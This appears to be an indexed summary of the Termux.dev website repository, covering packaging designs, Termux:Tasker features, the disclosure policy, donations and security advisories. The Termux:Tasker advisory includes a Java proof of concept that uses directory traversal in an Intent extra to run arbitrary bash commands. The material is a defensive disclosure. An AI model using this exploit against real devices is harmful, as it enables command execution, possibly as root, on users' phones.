Termux.dev Website Source
repository·master·Indexed 23 days ago
https://github.com/termux/termux.github.ioSource code for the Termux.dev website built with Jekyll. Includes documentation for running the site locally, managing multi-language posts and categories, and archived security disclosures and release notes for Termux, Termux:Tasker, and Termux:Widget.
What's inside termux-termux.github.io
- The primary location for Termux documentation is currently the Termux Wiki. However, documentation is being migrated to this repository. The documentation here is currently under development and will be updated over time to include information not available on the wiki.
Planned improvement: APK Library File (APKLF) design
masterThe
APKLF(APK Library File) is a new execution and packaging design being implemented to ensure Termux remains functional as Android security restrictions evolve.The Problem: Android Execution Restrictions
Android restricts the execution of files located in an app's private data directory (
/data/data/<package_name>) if the app targetstargetSdkVersion >= 29(Android 10). This is due to SELinux policies (specifically theuntrusted_app*context) designed to prevent the execution of downloaded code. Currently, Termux bypasses this by usingtargetSdkVersion = 28, but this is a temporary workaround that will eventually be deprecated by Android.The APKLF Solution
To comply with modern Android security while maintaining a functional environment,
APKLFaims to leverage theapk_data_fileSELinux context. This involves:- Adding executable files to the APK native library directory.
- These files are extracted to the system-controlled
/data/app/*<package_name>/lib/<arch>path during installation, where execution is permitted. - Because the native library directory is a single-level directory and does not support the nested structures required for a rootfs, files must be symlinked into the rootfs within the app data directory.
- To avoid the need to redistribute a massive single APK for every package update, packages will be distributed in their own separate app APKs.
Understand Dynamic Variables in Termux packages
masterTermux is transitioning from hardcoded paths to a 'Dynamic Variables' design to support environments where the Termux rootfs directory is not the default
/data/data/com.termux/files. This allows Termux packages to function correctly in:- Secondary Android users or work profiles.
- External SD cards.
- External apps with different app data or rootfs directories.
Implementation Details
- Executable files: These are patched at build time with language-specific code to read environment variables exported by the Termux app at runtime. They are treated as read-only library files located in the system-owned APK native library directory:
/data/app/*<package_name>/lib/<arch>. - Non-executable files: These are patched at install time by the package manager (
dpkg). Placeholders in the package files are replaced with the current environment variable values. - Bootstrap: Similar replacement logic is applied to package files in the Termux app bootstrap during installation.
Packages using this design are identified in their
build.shfiles and.debcontrol files.Termux:Tasker Privilege Escalation Vulnerability
masterA vulnerability in
Termux:Tasker(versionsv0.1throughv0.4) allows any application to execute arbitrary commands within thetermuxcontext. Iftermuxhas been granted root permissions, the attacker can execute commands withrootprivileges.This occurs because
FireReceiver.javafailed to validate the canonical path of theexecutableparameter, allowing directory traversal (e.g., using../../../usr/bin/bash) to bypass the intended restriction of only executing scripts within the~/.termux/taskerdirectory.// Proof of Concept: Simulating an arbitrary command execution via Intent Intent intent = new Intent("com.twofortyfouram.locale.intent.action.FIRE_SETTING"); intent.setClassName("com.termux.tasker", "com.termux.tasker.FireReceiver"); Bundle bundle = new Bundle(); bundle.putString("com.termux.tasker.extra.EXECUTABLE", "../../../usr/bin/bash"); bundle.putString("com.termux.execute.arguments", "-c \"echo -n 'I am '; whoami; echo 'creating exploit-file'; touch exploit-file; echo 'finding exploit-file'; find . -name exploit-file 2>/dev/null; sleep 5;\""); bundle.putBoolean("com.termux.tasker.extra.TERMINAL", true); bundle.putInt("com.termux.tasker.extra.VERSION_CODE", 4); intent.putExtra("com.twofortyfouram.locale.intent.extra.BUNDLE", bundle); context.sendBroadcast(intent);Wait for foreground session command results
masterTermux:Tasker now supports waiting for results from foreground session commands using the
Wait for result for commandstoggle.Behavior Details:
- Result Capture: For foreground commands, the result is returned as a session transcript. This transcript combines both
stdoutandstderrinto the%stdoutvariable. It includes everything sent to the pseudo terminal/dev/pts, such asPS1prefixes from interactive sessions. - Automatic Closure: For foreground commands that exit with failure,
termux-appversion>=0.118is required to ensure sessions automatically close without requiring manual user input (pressing enter).
- Result Capture: For foreground commands, the result is returned as a session transcript. This transcript combines both
Termux security disclosure timeline and policy
masterThe Termux team follows a structured timeline for handling reported vulnerabilities:
- Triage: Once received, the team triages the report to validate it and assess impact. Valid reports are normally acknowledged within
3business days. - Fix Deployment:
- Standard vulnerabilities: Aim to deploy fixes within
90days. - Actively exploited vulnerabilities: Aim to deploy fixes within
7days.
- Standard vulnerabilities: Aim to deploy fixes within
- Public Disclosure: After fixes are deployed and available to users, the report is disclosed publicly after
30days via GitHub security advisories and/or Termux site security posts.
- Triage: Once received, the team triages the report to validate it and assess impact. Valid reports are normally acknowledged within
Planned improvement: termux-core Library
masterThetermux-corelibrary is a planned development that will allow external projects and commercial entities to integrate the Termux execution environment and its package ecosystem directly into their own applications. This removes the current requirement of performing a full fork of the Termux app for integration. The library is intended to be released under theMITlicense to encourage adoption and prevent license conflicts.Wait for results from foreground commands
masterIn Termux:Tasker, you can enable the
Wait for result for commandssetting.- Behavior: When enabled, the plugin will wait for the command to complete rather than just starting it in the background. This applies to both foreground sessions and background commands.
- Foreground Output: For foreground commands, the result returned includes a session record containing both
stdoutandstderrcombined into the%stdoutvariable. This includes anything sent to the/dev/ptspseudo-terminal, such as thePS1prefix in interactive sessions.
Planned improvement: Dynamic Variables
masterDynamic Variables is one of the three major improvements planned under the NLnet NGI Mobifree grant for Termux. (Note: Detailed technical specifications for this feature are not provided in this segment of the documentation).Mitigate Termux:Widget Privilege Escalation
masterTo secure
Termux:Widgetagainst privilege escalation:- Update to
v0.13.0or later: This version fixes the vulnerability by validating that the executable path is normalized and resides within~/.shortcutsor~/.termux. - Use Pinned Shortcuts (Android >= 8): On Android 8 and above, use the
ShortcutManagerAPI to create Pinned Shortcuts. Unlike Static Shortcuts, the Android system manages Pinned Shortcuts, preventing launcher applications from accessing theTokenor executing unauthorized scripts. - Security for Android < 8: Users on older Android versions must be cautious with third-party launchers or shortcut managers (e.g.,
Shortcut Maker), as these apps can potentially execute any script within the allowed directories if they obtain theToken.
- Update to
Support Termux via Open Collective or GitHub Sponsors
masterTo support the development of Termux and help cover hosting costs for the main package servers (hosted on Hetzner), websites, and testing devices, you can donate through the following official channels:
Open Collective
Termux uses an @opencollective account managed by Open Source Collective.
- Supported payment methods: Credit/debit cards, PayPal, bank transfers, and over 40 cryptocurrencies (including BTC and ETH).
- Donation types: One-time or recurring (monthly/yearly) contributions.
GitHub Sponsors
You can become a sponsor at https://github.com/sponsors/termux. This is managed by Open Source Collective.
- Supported payment methods: Credit/debit cards or PayPal.
- Donation types: One-time or recurring monthly contributions.
Use stdin for background commands in Termux:Tasker
masterTermux:Tasker v0.6.0 supports passing scripts via
stdinfor background commands. This allows you to execute scripts directly through shells like$PREFIX/bin/bashor$PREFIX/bin/pythonwithout creating a physical file first.Important Constraints:
- No Arguments: When passing a script via
stdin, do not include command-line arguments, as this will cause failures in certain shells (includingbash). - Character Limit: The maximum supported script length is
45Kcharacters due to Tasker plugin bundle limits.
- No Arguments: When passing a script via